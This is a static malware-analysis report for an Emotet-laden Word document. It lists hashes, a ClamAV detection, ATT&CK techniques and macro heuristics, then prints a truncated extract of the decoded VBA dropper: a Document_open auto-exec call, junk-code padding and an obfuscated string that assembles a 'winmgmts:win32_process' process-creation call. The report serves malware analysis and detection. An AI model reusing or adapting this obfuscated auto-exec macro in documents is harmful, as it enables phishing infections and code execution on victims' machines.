Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 085d2ea87b81f4e9…

MALICIOUS

Office (OLE)

283.2 KB Created: 2020-09-02 20:49:00 Authoring application: Microsoft Office Word First seen: 2020-09-15
MD5: 2ea1d6bdfdef0ba060b6922babd77fa4 SHA-1: d7682e51110efee77673a0128d30edda99f2879f SHA-256: 085d2ea87b81f4e928025643fbb3e252b20f52d3dfca8d8a91c7c99188b67e68
202 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample is identified as malicious by ClamAV with the signature Doc.Downloader.Emotet-9752148-0. High-severity heuristics indicate the presence of VBA macros, specifically a Document_Open macro that uses CreateObject to execute code. The VBA script is heavily obfuscated but its structure and the presence of a Document_Open auto-execution routine strongly suggest it's designed to download and execute a secondary payload.

Heuristics 6

  • ClamAV: Doc.Downloader.Emotet-9752148-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-9752148-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 12875 bytes
SHA-256: 26830c4975ebbb3a12f0c474e37baae8719a639f9241f1edc2a5ce6f1912d0a0
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Nv259wwklbt"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
Call Utfww1nvq4d2ni.Gex8btio750_m906eo
End Sub


Attribute VB_Name = "Utfww1nvq4d2ni"
Attribute VB_Base = "0{B99E78A6-AEE1-48DF-B736-E0942973509B}{5B37ECAF-5E1A-44AF-A47B-AB89A277E3C0}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function Gex8btio750_m906eo()
   On Error Resume Next
      bJKBKJD = NKSa + Int(YyqcH) - dzo - CInt(MUvuNSA) + pMEudQ6Bg / CBool(vrnyRtR04 + 92 + 5 * Fix(MCQam9Nsl * 604))
      jKHBKJB = 303654947 / CInt(DZt) * RTLMr * CStr(hayO8n13 * 3492) / FXMVed * Cos(tYdIH)
      nklHLKBN = NKSa + Int(YyqcH) - dzo - CInt(MUvuNSA) + pMEudQ6Bg / CBool(vrnyRtR04 + 92 + 5 * Fix(MCQam9Nsl * 604))
      ihJKGukbD = 303654947 / CInt(DZt) * RTLMr * CStr(hayO8n13 * 3492) / FXMVed * Cos(tYdIH)
Tpp188836khr9_ap = 105
   On Error Resume Next
      bJKBKJD = NKSa + Int(YyqcH) - dzo - CInt(MUvuNSA) + pMEudQ6Bg / CBool(vrnyRtR04 + 92 + 5 * Fix(MCQam9Nsl * 604))
      jKHBKJB = 303654947 / CInt(DZt) * RTLMr * CStr(hayO8n13 * 3492) / FXMVed * Cos(tYdIH)
      nklHLKBN = NKSa + Int(YyqcH) - dzo - CInt(MUvuNSA) + pMEudQ6Bg / CBool(vrnyRtR04 + 92 + 5 * Fix(MCQam9Nsl * 604))
      ihJKGukbD = 303654947 / CInt(DZt) * RTLMr * CStr(hayO8n13 * 3492) / FXMVed * Cos(tYdIH)
B1xu1claavmndmo = ChrW$(Tpp188836khr9_ap + (10))
   On Error Resume Next
      bJKBKJD = NKSa + Int(YyqcH) - dzo - CInt(MUvuNSA) + pMEudQ6Bg / CBool(vrnyRtR04 + 92 + 5 * Fix(MCQam9Nsl * 604))
      jKHBKJB = 303654947 / CInt(DZt) * RTLMr * CStr(hayO8n13 * 3492) / FXMVed * Cos(tYdIH)
      nklHLKBN = NKSa + Int(YyqcH) - dzo - CInt(MUvuNSA) + pMEudQ6Bg / CBool(vrnyRtR04 + 92 + 5 * Fix(MCQam9Nsl * 604))
      ihJKGukbD = 303654947 / CInt(DZt) * RTLMr * CStr(hayO8n13 * 3492) / FXMVed * Cos(tYdIH)
Oof263zla24u_6 = "82fFHG74_(( sa3fj4_ hu23V))s82fFHG74_(( sa3fj4_ hu23V))sw82fFHG74_(( sa3fj4_ hu23V))si82fFHG74_(( sa3fj4_ hu23V))snm82fFHG74_(( sa3fj4_ hu23V))s82fFHG74_(( sa3fj4_ hu23V))sgm82fFHG74_(( sa3fj4_ hu23V))st82fFHG74_(( sa3fj4_ hu23V))s82fFHG74_(( sa3fj4_ hu23V))s" + B1xu1claavmndmo + "82fFHG74_(( sa3fj4_ hu23V))s82fFHG74_(( sa3fj4_ hu23V))s:82fFHG74_(( sa3fj4_ hu23V))sw82fFHG74_(( sa3fj4_ hu23V))sin82fFHG74_(( sa3fj4_ hu23V))s82fFHG74_(( sa3fj4_ hu23V))s382fFHG74_(( sa3fj4_ hu23V))s282fFHG74_(( sa3fj4_ hu23V))s_82fFHG74_(( sa3fj4_ hu23V))s" + Utfww1nvq4d2ni.F6ow9tw6tx47j + "82fFHG74_(( sa3fj4_ hu23V))sro82fFHG74_(( sa3fj4_ hu23V))s82fFHG74_(( sa3fj4_ hu23V))sce82fFHG74_(( sa3fj4_ hu23V))ss82fFHG74_(( sa3fj4_ hu23V))ss82fFHG74_(( sa3fj4_ hu23V))s"
   On Error Resume Next
      bJKBKJD = NKSa + Int(YyqcH) - dzo - CInt(MUvuNSA) + pMEudQ6Bg / CBool(vrnyRtR04 + 92 + 5 * Fix(MCQam9Nsl * 604))
      jKHBKJB = 303654947 / CInt(DZt) * RTLMr * CStr(hayO8n13 * 3492) / FXMVed * Cos(tYdIH)
      nklHLKBN = NKSa + Int(YyqcH) - dzo - CInt(MUvuNSA) + pMEudQ6Bg / CBool(vrnyRtR04 + 92 + 5 * Fix(MCQam9Nsl * 604))
      ihJKGukbD = 303654947 / CInt(DZt) * RTLMr * CStr(hayO8n13 * 3492) / FXMVed * Cos(tYdIH)
Dm3lpyxi7ws6zg = Dzt3wohxgqudb6pk(Oof263zla24u_6)
   On Error Resume Next
      bJKBKJD = NKSa + Int(YyqcH) - dzo - CInt(MUvuNSA) + pMEudQ6Bg / CBool(vrnyRtR04 + 92 + 5 * Fix(MCQam9Nsl * 604))
      jKHBKJB = 303654947 / CInt(DZt) * RTLMr * CStr(hayO8n13 * 3492) / FXMVed * Cos(tYdIH)
      nklHLKBN = NKSa + Int(YyqcH) - dzo - CInt(MUvuNSA) + pMEudQ6Bg / CBool(vrnyRtR04 + 92 + 5 * Fix(MCQam9Nsl * 604))
      ihJKGukbD = 303654947 / CInt(DZt) * RTLMr * CStr(hayO8n13 * 3492) / FXMVed * Cos(tYdIH)
   On Error Resume Next
      bJKBKJD = NKSa + Int(YyqcH) - dzo - CInt(MUvuNSA) + pMEudQ6Bg / CBool(vrnyRtR04 + 92 + 5 * Fix(MCQam9Nsl * 604))
      jKHBKJB = 303654947 / CInt(DZt) 
... (truncated)